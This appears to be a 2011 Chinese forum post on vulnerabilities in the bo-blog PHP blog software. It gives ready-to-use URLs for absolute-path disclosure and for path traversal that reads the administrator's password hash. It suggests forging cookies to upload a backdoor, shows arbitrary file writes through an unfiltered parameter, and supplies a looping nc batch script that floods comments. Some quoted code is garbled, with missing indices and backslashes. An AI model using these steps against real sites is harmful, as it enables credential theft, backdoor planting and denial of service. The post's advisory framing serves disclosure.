妍宝 發表於 2011-3-11 12:10:28

关于bo-blog的安全隐患

<p>  bo-blog是一款外观好看,而且当前流行的个人博客系统,在很多下载站你都可以找到这套程序,而且甚至有很多安全界的人都使用着这套php+txt的程序,但是这套程序里有些安全隐患,可能会被人利用去做一些破坏。</p>
<p>  首先开门见山,我们说说它的绝对路径暴露问题.........</p>
<p>  只要提交地址:_blank&gt;http://localhost/blog/index.php?m=2&amp;y=/2005</p>
<p>  就可以得到程序所在绝对路径!</p>
<p>  这是php中很经常出现的问题!</p>
<p>  现在我们在来看一段代码,这是showcat.php里的内容!</p>
<p>  if (!file_exists(&quot;$dirblog/$cat.php&quot;)) {</p>
<p>  wronginfo($langerrornocat);</p>
<p>  }</p>
<p>  unset ($allfiles);</p>
<p>  $allfiles=@file(&quot;$dirblog/$cat.php&quot;);</p>
<p>  看到了没有?他直接把cat.php没有处理就拿出来用了,而它又是怎么处理他拿出来的数据的呢?</p>
<p>  for ($i=$start; $i&lt;$end;$i++) {</p>
<p>  $latest=explode(&quot;|&quot;,$allfiles[$i]);</p>
<p>  $articleid=$latest;</p>
<p>  $articlename=$latest;</p>
<p>  $latest=mktimezone($latest);</p>
<p>  $showtime=date(&quot;Y-n-j&quot;,$latest);</p>
<p>  这样,它将$cat提交来的文件打开,读出来,但是以|为分隔读出文件内容,因为以|读出文件内容却是从1开始的,所以我们读不出其他的文件,我们只能读文件里有|的文件的第一个|后面的数据。也就是说,假设我们知道用户所在目录的话,我们就可以提交_blank&gt;http://localhost/blog/index.php?job=showcat&amp;cat=../saiy/userid</p>
<p>  便可以得到管理员的密码散列。</p>
<p>  然后伪造cookies登陆,直接可以传后门了。但是前提是要知道目录名,所以这只限制于目录名了,但是假设对方站点上有其他的php+文本的程序,我们可以利用此文件读出隐秘内容。</p>
<p>  我们再来说第二个问题,回复评论未限制时间,大家大概觉得这不算什么问题吧,看完代码不知道你还会这么想吗?</p>
<p>  $replyauthor=safe_convert($replyauthor);</p>
<p>  $remreplyauthor=$replyauthor;</p>
<p>  if ($replyemail!=&quot;&quot;) $replyauthor.=&quot;胃胃&quot;.safe_convert($replyemail);</p>
<p>  $replycontent=safe_convert($replycontent);</p>
<p>  $simplecontent=preg_replace(&quot;/[(.+?)]/is&quot;, &quot;&quot;, $replycontent);</p>
<p>  $simplecontent=preg_replace(&quot;/&lt;(.+?)&gt;/is&quot;, &quot;&quot;, $simplecontent);</p>
<p>  $simplecontent=preg_replace(&quot;/&amp;(.+?);/is&quot;, &quot;&quot;, $simplecontent);</p>
<p>  $curexcerpt=msubstr($simplecontent,0,20);</p>
<p>  $timestamp=time();</p>
<p>  $areply=@readfromfile(&quot;$dirblog/$articleid.rpl&quot;);</p>
<p>  writetofile(&quot;$dirblog/$articleid.rpl&quot;,$replycontent.&quot;n|rep|n&quot;.$areply);</p>
<p>  writetofile(&quot;$dirblog/list.php&quot;,$all1);</p>
<p>  updaterenum(1);</p>
<p>  看到没有?居然也没对$articleid做过滤,大家觉得吓人吗?哦?你们觉得不怎么样?恐怕不好玩?我改改你再看看。</p>
<p>  writetofile(&quot;$dirblog/C:winntsystem32hacker.rpl&quot;,$replycontent.&quot;n|rep|n&quot;.$areply);</p>
<p>  呼,这样我们把一个垃圾文件写到系统目录下了。要么,写到管理员启动目录?一个N大无比的文本文件。</p>
<p>  只要我们不停的提交数据,则不断的把文件写入了,假设你手头没有工具可以帮你提交,我教你个简单的,利用NC的方法!</p>
<p>  首先,抓取你发表评论的包,存在NC所在目录下,命名为test.txt。这个大家都会做吧~~</p>
<p>  再建立一个bat,命名为test.bat内容为:</p>
<p>  nc www.test.com 80 cls</p>
<p>  test.bat</p>
<p>  呵呵,运行这个.bat文件它就会不停的发送评论了,开两个就是两个线程哦 !</p>
<p>&nbsp;</p>
<p>(本文由责任编辑 pasu 整理发布)</p>
<p>&nbsp;</p>
頁: [1]
查看完整版本: 关于bo-blog的安全隐患